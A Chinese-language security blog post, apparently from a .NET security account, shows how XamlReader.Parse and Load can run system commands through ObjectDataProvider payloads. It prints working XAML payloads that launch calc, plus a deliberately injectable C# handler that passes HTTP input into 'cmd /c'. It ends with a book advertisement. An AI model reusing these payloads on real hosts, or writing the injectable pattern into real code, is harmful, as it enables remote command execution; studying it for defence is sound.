大数跨境
0
0

剖析 XamlReader 动态解析与执行系统命令

剖析 XamlReader 动态解析与执行系统命令 dotNet安全矩阵
2025-11-28
0

本文将聚焦 .NET 生态中一个特殊的安全相关类,依托 XamlReader 组件动态解析 XAML 文档的核心特性,通过精心构造 XAML 载荷,可在目标主机上实现无文件落地的任意系统进程启动,最终达成程命令执行的效果。

01. 技术背景介绍


在 .NET 应用中,WPF 因其强大的界面绘制能力和灵活的数据绑定机制而被广泛使用。与传统的 Windows Forms 不同,WPF 使用一种名为 XAML 的声明式标记语言来描述 UI 元素和数据交互逻辑。

1.1 WPF 框架

WPF 是 Microsoft 在 .NET Framework 3.0 中引入的一套 UI 框架,专为构建丰富客户端应用而设计。与 WinForms 相比,WPF 支持硬件加速渲染、更强的控件组合能力、样式控制、动画、数据绑定等高级特性。在 WPF 应用中,通常通过 XAML 文件来定义界面布局,然后在后台代码中为控件编写逻辑。

1.2 XAML 介绍

XAML 是一种基于 XML 的标记语言,用于声明 UI 组件及其行为。例如,一个简单的按钮控件可以如下声明:
  
<Button Content="点击我" Width="100" Height="50"/>
XAML 允许嵌套、绑定、动画、数据源等复杂逻辑。例如:
  
<ObjectDataProvider x:Key="launch" ObjectType="{x:Type sys:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<sys:String>calc.exe</sys:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
以上声明可在运行时调用 Process.Start("calc.exe") 启动计算器。
02. XamlReader


System.Windows.Markup.XamlReader 是 WPF 的核心类之一,存在于 PresentationFramework.dll 中。该类提供了一系列方法,可用于将 XAML 字符串或流解析成实际的 .NET 对象。

2.1 动态构造XAML

在支持 WPF 的 Web API、富客户端、插件化平台或用户自定义模板系统中,若系统直接调用了 XamlReader.Parse() 来解析用户输入的数据,便存在命令执行的风险,具体代码如下所示。

  
publicstaticvoidCodeInject(string input)
{
StringBuilder xaml =newStringBuilder();
    xaml.Append("<ResourceDictionary ");
    xaml.Append("xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" ");
    xaml.Append("xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" ");
    xaml.Append("xmlns:b=\"clr-namespace:System;assembly=mscorlib\" ");
    xaml.Append("xmlns:pro=\"clr-namespace:System.Diagnostics;assembly=System\">");
    xaml.Append("<ObjectDataProvider x:Key=\"obj\" ObjectType=\"{x:Type pro:Process}\" MethodName=\"Start\">");
    xaml.Append("<ObjectDataProvider.MethodParameters>");
    xaml.Append("<b:String>cmd</b:String>");
    xaml.Append($"<b:String>/c {input}</b:String>");
    xaml.Append("</ObjectDataProvider.MethodParameters>");
    xaml.Append("</ObjectDataProvider>");
    xaml.Append("</ResourceDictionary>");

    XamlReader.Parse(xaml.ToString());
}

上述代码段中,程序利用StringBuilder类动态构建了一个XAML字符串,该字符串定义了一个ResourceDictionary。

其中包含了一个ObjectDataProvider元素,这个ObjectDataProvider被配置为启动System.Diagnostics.Process类的Start方法,进而调用cmd.exe /c命令运行指定的程序,如winver.exe

如果部署了如下 ashx 接口,通过HTTP请求访问XamlReaderParseSpy.ashx?input=winver,可以触发此XAML代码的解析并成功启动进程。

  
publicvoidProcessRequest(HttpContext context)
{
string cmd = context.Request["input"];
CodeInject(cmd);
}

2.2 文件方式触发

XamlReader.Load 可解析来自本地磁盘的 .xaml 文件,若系统允许用户上传或修改 .xaml 配置,攻击者可构造文件并上传,等待后台加载。
  
<Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:sys="clr-namespace:System;assembly=mscorlib"
        xmlns:local="clr-namespace:System.Diagnostics;assembly=System">
<Window.Resources>
<ObjectDataProvider x:Key="cmd" ObjectType="{x:Type local:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<sys:String>calc</sys:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</Window.Resources>
</Window>

通过LoadAsync方法正常解析Dictionary2.xaml文件中保存的负载,成功启动本地计算器进程,如下图所示。

综上,XAML 是强大且灵活的 UI 构建语言,而 XamlReader 作为其解析入口,在客户端开发中不可或缺。

以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。

自《.NET安全攻防指南》上线以来,许多读者已抢先下单成功购入并收到了书籍,反响热烈,好评如潮!感谢大家的支持,我们也将持续为大家带来更多优质的.NET安全研究成果!原价258元,现限量优惠,数量有限!

点击京东链接:https://item.jd.com/10140917044329.html 或者打开手机京东APP即可下单购买。


【声明】内容源于网络
0
0
dotNet安全矩阵
感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
内容 414
粉丝 0
dotNet安全矩阵 感谢关注"dotNet安全矩阵",分享微软.NET安全技术知识的盛宴,这里不仅有C#安全漏洞,还有.NET反序列化漏洞研究,只要是.NET领域的安全技能均在话题范围内,风里雨里我在这里等你。
总阅读62
粉丝0
内容414